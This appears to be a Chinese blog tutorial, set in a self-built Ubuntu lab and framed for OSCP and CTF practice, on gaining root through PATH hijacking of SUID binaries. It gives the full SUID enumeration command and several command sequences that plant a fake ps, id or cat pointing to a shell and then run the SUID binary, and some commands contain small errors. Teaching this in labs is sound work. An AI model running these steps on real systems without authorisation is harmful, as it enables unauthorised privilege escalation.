linux中权限升级,使用PATH变量进行Linux权限升级技巧

0x00 前言

在解决了几个OSCP挑战之后,我们决定写一篇关于用于Linux权限升级的各种方法的文章,这对我们的读者在其渗透测试项目中有所帮助。在本文中,我们将学习“使用$path变量的各种方法”以获得远程主机的root访问权限,以及CTF挑战所使用的技术,以生成导致权限提升的$path漏洞。如果你已经解决了CTF后利用的挑战,那么通过阅读本文,您将认识到导致权限提升的几个漏洞。

0x001 PATH变量介绍

PATH是Linux和Unix操作系统中的环境变量,它指定存储所有可执行程序的所有bin和sbin目录。当用户在终端上运行任何命令时,它请求shell在path变量的帮助下搜索可执行文件,以响应用户执行的命令。超级用户通常还具有/sbin和/usr/sbin权限,以便轻松执行系统管理命令。

借助echo命令查看相关用户的路径非常简单。

echo $PATH

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

如果你注意到'.'符号,那么在环境PATH变量中,它意味着已登录的用户可以从当前目录执行二进制文件和脚本,这对于攻击者提升root权限是一种很好的技术。这是由于在编写程序时缺乏注意,因此管理员没有指定程序的完整路径。

0x03 PATH变量提权方法一

1.Ubuntu实验设置

目前,在/home/raj目录中,我们将在其中创建一个以名称作为脚本的新目录。现在在脚本目录中,我们将编写一个小的C程序来调用系统二进制文件的函数。

pwd

mkdir script

cd script

nano demo.c

4774b7d113f6a727687a4d6bf8c58968.png

正如您在demo.c文件中所看到的那样,我们正在调用ps命令(进程状态),它是系统二进制文件。

ce5aa7712a3954467282ca283d774135.png

然后使用gcc编译demo.c文件,并将suid权限提升到编译文件

ls

gcc demo.c -o shell

chmod u+s shell

ls -la shell

6bded2cbb1b59fc19883fec81516e3aa.png

2.权限提升

首先,您需要攻击目标系统,然后进入到权限提升阶段。假设您使用普通用户通过ssh成功地登录到受害者的主机。然后在没有浪费时间的情况下,在Find命令的帮助下搜索具有SUID或4000权限的文件。

find / -perm -u=s -type f >/dev/null

因此,在上述命令的帮助下,攻击者可以枚举任何可执行文件,这里我们还可以看到/home/raj/script/shell具有suid权限。

55df2b881baa0c34a257b13fbe831d9b.png

然后,我们进入/home/raj/script目录中并看到一个可执行文件“shell”。所以我们运行这个文件,在这里看起来这个文件正在尝试运行ps,这是/bin中的一个真实文件,用于获取进程状态。

ls

./shell

c6bddcad2c60fe2a8ba3d31820619b56.png

(1) echo命令:第一种生成root权限的技术

cd /tmp

echo "/bin/bash" > ps

chmod ps

echo $PATH

export PATH=/tmp:$PATH

cd /home/raj/script

./shell

whoami

2557f68973d68de120e380da263e1cfa.png

(2)复制命令-第二种生成root权限的技术

cd /home/raj/script/

cp /bin/sh /tmp/ps

echo $PATH

export PATH=/tmp:$PATH

./shell

whoami

dd8d2fa5e6ad161938fb2dac17dc76e4.png

(3)symlink命令-第三种生成root权限的技术

ln -s /bin/sh ps

export PATH=.:$PATH

./shell

id

whoami

注意:symlink也称为符号链接,如果目录具有执行权限,它将成功运行。在Ubuntu中有symlink的情况下,我们已将/script目录赋予777权限

因此,我们看到攻击者可以使用环境变量PATH来提升权限并获得root访问权限。

8623807104765894e66cc62d089eed46.png

0x04 PATH变量提权方法二

1.Ubuntu实验设置

重复上面相同的步骤来配置你自己的实验,现在在脚本目录中,我们将编写一个小的c程序来调用系统二进制文件的函数。

pwd

mkdir script

cd /script

nano test.c

正如您在我们的test.c文件中看到的那样,我们正在调用id命令,即系统二进制文件。

5209031b15ec421892313e800c444db7.png

然后使用gcc编译test.c文件,并将suid权限提升到编译后的文件

ls

gcc test.c -o shell2

chmod u+s shell2

ls -la shell2

69368d8c50b09474690973618a078856.png

2.权限提升

同样,您需要攻击目标系统,然后进入到特权提升阶段。假设您使用普通用户通过ssh成功地登录到受害者的主机。然后在没有浪费时间的情况下,在Find命令的帮助下搜索具有SUID或4000权限的文件。在这里,我们还可以看到/home/raj/script/shell2是否具有suid权限。

find / -perm -u=s -type f >/dev/null

然后我们进入/home/raj/script目录,并看到一个可执行文件“shell2”。所以我们运行这个文件,看起来shell2正在尝试运行id,这是/bin中的一个真实文件。

cd /home/raj/script/

ls

./shell2

53e979a610aea50f69e0480d5940f211.png

(1) Echo命令

cd /tmp

echo "/bin/bash" > id

chmod id

echo $PATH

export PATH=/tmp:$PATH

cd /home/raj/script

./shell2

whoami

863d1ff726f8770a91b48601355cc507.png

0x05 PATH变量提权方法三

1.Ubuntu实验设置

重复以上步骤来设置自己的实验,正如您在raj.c文件中看到的那样,我们调用cat命令从etc/passwd文件内读取其内容。

9eeb4a5c1014f9dbbf68f273885756aa.png

然后使用gcc编译raj.c文件,并将suid权限提升到编译后的文件。

ls

gcc raj.c -o raj

chmod u+s raj

ls -la raj

2004a7df26e82faa3ddb443a37853d16.png

2.权限提升

再次攻击受害者的系统,然后进入权限升级阶段,执行以下命令查看sudo用户列表。

find / -perm -u=s -type f >/dev/null

在这里我们还可以看到/home/raj/script/raj拥有suid权限,然后我们进入/home/raj/script目录,并看到一个可执行文件“raj”。因此,当我们运行这个文件时,它将会查看到etc/passwd文件的内容。

cd /home/raj/script/

ls

./raj

ef6048c638fb25f1dd9dc4068639061f.png

(1) Nano Editor:第四种权限提升技术

cd /tmp

nano cat

现在,当终端打开并输入/bin/basra,然后进行保存

687f0951abb1fca65e700da62a9caa26.png

chmod cat

ls -al cat

echo $PATH

export PATH=/tmp:$PATH

cd /home/raj/script

./raj

whoami

ae7b24b3a49f9a34786336612c944c6f.png

0x06 PATH变量提权方法四

1.Ubuntu实验设置

重复上面的步骤来设置你自己的实验,正如您在demo.c文件中看到的那样,我们调用cat命令来读取msg.txt内容,该文件在/home/raj中,但实际在/home/raj中没有这样的文件。

25d734c6c19c2056e1b910da07025fd3.png

然后使用gcc编译demo.c文件,并将SUID权限提升到编译后的文件

ls

gcc demo.c -o ignite

chmod u+s ignite

ls -la ignite

6b61509d003489276dfb1abd8813db76.png

2.权限提升

再次攻击受害者的系统,然后进入到权限升级阶段,执行以下命令查看sudo用户列表。

find / -perm -u=s -type f >/dev/null

在这里,我们还可以看到/home/raj/script/ignite拥有suid权限,然后我们进入/home/raj/script目录,并看到一个可执行文件“ignite”。所以当我们运行这个文件时,它会输出错误“cat:/home/raj/msg.txt”作为结果。

cd /home/raj/script/

ls

./ignite

613c61eb868bb485efbb1f08bb182d6d.png

(1) vi编辑器-第五种权限提升技术

cd /tmp

vi cat

现在,当终端打开并输入/bin/basra,然后进行保存

3c104111983f09f716b19acc5f248d2a.png

chmod cat

echo $PATH

export PATH=/tmp:$PATH

cd /home/raj/script

./ignite

whoami

82a1726bc8c0851305a4f6aeea00033f.png

使用sudo进行Linux权限升级技巧

0x00 前言 在我们之前的文章中,我们讨论了如何使用SUID二进制文件和/etc/passwd 文件的Linux权限提升技巧,今天我们发布了另一种“使用Sudoers文件进行Linux权限提示技巧” ...

使用LD_Preload的Linux权限升级技巧

0x00 前言 共享库是程序在启动时加载的库.正确安装共享库后,之后启动的所有程序将自动使用新的共享库. 0x01 共享库名称 每个共享库都有一个名为soname的特殊名称.soname有前缀li ...

使用SUID二进制文件进行Linux权限升级技巧

0x00 基础知识 众所周知,在Linux中一切都以文件存在,包括具有允许或限制三个执行操作(即读/写/执行)权限的目录和设备.因此,当给任何文件设置权限时,应该需要了解允许的Linux用户或限制 ...

Linux系统PATH变量配置

alias命令用于设置命令的别名,格式为“alias 别名=命令” 例如担心复制文件时误将文件被覆盖,可以执行alias cp=" cp -i",如此一来 每次复制命令都会询问用户 ...

Linux PATH变量的设置

一般Linux系统,有两个配置文件可以设置PATH变量,一:.bashrc 二:.bash_profile; 还有一种方法可以临时设置PATH变量(三) 一:  1.编辑.bashrc,添加 expo ...

Linux编程 12 (默认shell环境变量, PATH变量重要讲解)

一 .概述 默认情况下, bash shell会用一些特定的环境变量来定义系统的环境.这些默认环境变量可以理解是上篇所讲的系统全局环境变量. 1.1 bash  shell支持的Bourne变量 Bo ...

编辑/etc/passwd文件进行权限升级的技巧

0x00 前言 在本文中,我们将学习“修改/etc/passwd文件以创建或更改用户的root权限的各种方法”.有时,一旦目标被攻击,就必须知道如何在/etc/passwd文件中编辑自己的用户以进行权 ...

用户和用户组以及 Linux 权限管理

1.从 /etc/passwd 说起 前面的基本命令学习中,我们介绍了使用 passwd 命令可以修改用户密码.对于操作系统来说,用户名和密码是存放在哪里的呢?我们都知道一个站点的用户名和密码是存放在 ...

Linux命令行技巧

Linux命令行技巧 命令 描述 • apropos whatis 显示和word相关的命令. 参见线程安全 • man -t man | ps2pdf - > man.pdf 生成一个PDF格 ...

随机推荐

eclipse 查看变量或方法在什么地方被调用的快捷键

选中方法名,点鼠标右键,菜单里有个”打开调用层次结构 ( Open Call Hierarchy )“,选中或者按下快捷键Ctrl+Alt+H,就在下面栏目里能看到调用的树形结构了. 或者: 1.双击 ...

Eclipse OSGi调试过程

当你在开发的插件直接运行的时候,看起来正常的.但导出放到eclipse时候,又发觉不对劲,插件运行有问题.这个时候需要去OSGi的控制台调试插件,这一篇文章将讲述怎么简单调试eclipse插件(插件已 ...

Revit如何修改云线批注外观

Revit云线批注属于注释族类别,有两种方式可以修改云线批注的外观,有两处设置可以修改云线批注的颜色线宽等外观,一个是视图属性"可见性/图形替换"对话框,另一个是菜单"管 ...

MR-为什么MR类的变量喜欢定义在方法外面?

写了一些MR后发现不管是别人写的还是官方给的,比如map方法,变量都是定义在方法外面. 因为之前都是照猫画虎的写的,所以自己也一直这么写,可是为什么呢? 我试了试定义在方法里面,程序照样跑,试了几个程 ...

solr教程,值得刚接触搜索开发人员一看

http://blog.csdn.net/awj3584/article/details/16963525 Solr调研总结 开发类型 全文检索相关开发 Solr版本 4.2 文件内容 本文介绍sol ...

C++queue容器学习(详解)

一.queue模版类的定义在头文件中. queue与stack模版非常类似,queue模版也需要定义两个模版参数,一个是元素类型,一个是容器类型,元素类型是必要的,容器类型是 ...

Globecom 2018 投稿过程

Globecom 2018 投稿过程 IEEE 通信领域旗舰型会议 Globecom 2018 将于近日提交 Camera-Ready 稿件.回顾今年投稿过程,虽麻烦不断但也不算特别曲折,本篇随笔记录 ...

Android源码服务专家(申明:来源于网络)

Android源码服务专家(申明:来源于网络) 地址:http://www.javaapk.com/topics/demo/page/20/

JS获取地址栏参数&jquery

第一种:字符串拆分法 window.location.href 或者 location.href 或者 window.location 获得地址栏中的所有内容 decodeURI()可以解码地址栏中的 ...

PHP-----PHP程序设计基础教程----第三章函数

3.1 初识函数 3.1.1 函数的定义 语法: function 函数名([参数1,参数2,......]) { 函数体 } (1)function:在声明函数时必须使用的关键字 (2)函数名:创建 ...

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值